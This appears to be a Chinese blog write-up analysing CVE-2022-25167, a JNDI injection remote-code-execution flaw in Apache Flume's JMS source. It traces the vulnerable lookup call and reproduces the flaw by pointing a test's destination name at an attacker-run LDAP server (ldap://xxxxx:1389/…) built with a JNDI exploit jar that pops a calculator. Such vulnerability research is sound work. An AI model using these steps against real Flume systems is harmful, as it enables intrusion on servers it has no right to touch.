开源漏洞深度分析|CVE-2022-25167 JNDI命令执行漏洞
项目介绍
Flume 是一种分布式、可靠且可用的服务,用于高效收集、聚合和移动大量日志数据。它具有基于流数据流的简单灵活的架构。它具有可调整的可靠性机制以及许多故障转移和恢复机制,具有健壮性和容错性。它使用允许在线分析应用程序的简单可扩展数据模型。
项目地址
Welcome to Apache Flume — Apache Flume
漏洞概述
当攻击者控制目标 LDAP 服务器时,如果配置使用带有 JNDI LDAP 数据源 URI 的 JMS 源,Apache Flume 版本 1.4.0 到 1.9.0 很容易受到 RCE 攻击[1]
影响版本
Apache Flume 1.4.0 - 1.9.0
环境搭建
下载部署即可
Index of /dist/flume/1.10.0
漏洞复现
该漏洞需要使用 JNDI工具辅助复现,可使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具。
工具链接:
GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
命令如下所示:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"
终端开启监听,搭建 Flume 项目以 jdk1.8 环境运行 TestIntegrationActiveMQ 测试类即可
漏洞分析
查询官网披露信息可知,是由于 JMSSource 类没有进行验证,导致用户传入的数据被反序列化
搭建运行,idea默认生成的 Junit Application 并不能正常运行;先静态分析看一下
按照思路 diff 发现 JMSSource 1.10.0 在 doConfigure 中新增了调用 assertTure 的 uri 校验;转头去找 lookup
定位代码,connectionFactory 调用了 initialContext.lookup
看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx
lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例
For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory
基本确定了,接下来尝试漏洞利用
context.put(JMSSourceConfiguration.DESTINATION_NAME,JNDI_PREFIX + DESTINATION_NAME);
项目未提供可将恶意参数传入漏洞触发位置的web界面或api,为了快速进行漏洞分析我们使用官方提供的测试类TestIntegrationActiveMQ, 可以使用该测试类进行漏洞复现与利用
可控参数传入位置在该类的 testQueueLocatedWithJndi 函数,里面只有上述两个 context.put;DESTINATION_NAME即为我们的入口点,name参数正是来自 DESTINATION_NAME ,因此需要在 TestIntegrationActiveMQ 中设置 DESTINATION_NAME 为 ldap 的链接;且需要更改 JNDI_PREFIX 为 ldap
converterClassName is : org.apache.flume.source.jms.DefaultJMSMessageConverter$BuilderdestinationName+dynamicQueues/+test
destinationLocator+JNDI
按照这个尝试修改代码
TestIntegrationActiveMQ 中修改 DESTINATION_NAME 和 JNDI_PREFIX
运行测试发现 testQueueLocatedWithJndi 读入的 信息变成了 ldap://xxxxx:1389/h3puak 且 testQueueLocatedWithJndi 测试报错
context.put 变成
destinationName+ldap://+xxxxxx:1389/h3puak
destinationLocator+JNDI
按照漏洞复现步骤运行工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"
获取到 destinationName:ldap://x.x.x.x:1389/gttkny
收到 ldap了但没执行命令;idea项目Java版本换成 1.8 即可
开源漏洞深度分析|CVE-2022-25167 JNDI命令执行漏洞相关推荐
- [ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2018-16509
- struts2漏洞_十大常见web漏洞——命令执行漏洞
命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...
- php代码审计命令执行,PHP代码审计笔记--命令执行漏洞
命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: $target=$_REQUEST['ip']; $cmd = sh ...
- Web安全 RCE漏洞(命令执行漏洞的 测试和利用).
系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...
- 【web安全】——命令执行漏洞(RCE)详解
作者名:Demo不是emo 主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...
- 分区起始位置参数溢出_IIS6.0缓冲区溢出漏洞深度分析(CVE-2017-7269)
漏洞描述 开启WebDAV服务的IIS6.0存在缓冲区溢出漏洞可以任意代码执行,目前针对 Windows Server 2003 R2 可以稳定利用.在WebDAV服务的ScStoragePathFr ...
- 【安全漏洞】Rocket.Chat 远程命令执行漏洞分析
简述 Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织. 2021年3月19日,该漏洞在 HackerOne 被提出,于2021 ...
- cve-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析
Cribl是一款日志分析工具.Cribl UI是其中的一个用户界面. Cribl UI 1.5.0版本中存在安全漏洞.远程攻击者可借助未认证的Web请求利用该漏洞运行任意命令. 前言 前几天瞎逛 Gi ...
- 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析
本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...
最新文章
- SpringBoot第十篇:thymeleaf详解
- iPhone SDK Examples
- 面试必备:4种经典限流算法讲解
- java方法声明无效_java 方法声明无效 需要返回类型
- 直接引用arXiv论文不规范?试试这个小工具,秒变正式发表链接,上交大校友开发...
- JAVA版游戏下载_我的世界Java版20w51a
- delphi 脚本引擎比较
- 【C语言简单说】十九:二维数组循环嵌套(2)
- 如何实现下拉框的绑定
- Vue基础之Vue条件渲染
- 微服务架构设计模式~交互方式
- 垂直搜索引擎完整实现
- el-table固定列之后没有出现滚动条_一道经典的MySQL面试题,答案出现三次反转...
- qchart 坐标轴设置_「Qt」利用QChart实现实时动态的曲线数据展示
- 使用appium时出现的问题
- php脚本自动登录telnet,Windows环境上telnet自动登录和运行脚本
- git命令行命令(1)
- Java综合实验1题目: 猜心术---猜姓氏游戏
- JAVA系统之间通信方式总结
- NP-Hard?大白话学习P问题、NP问题、NP完全问题和NP难问题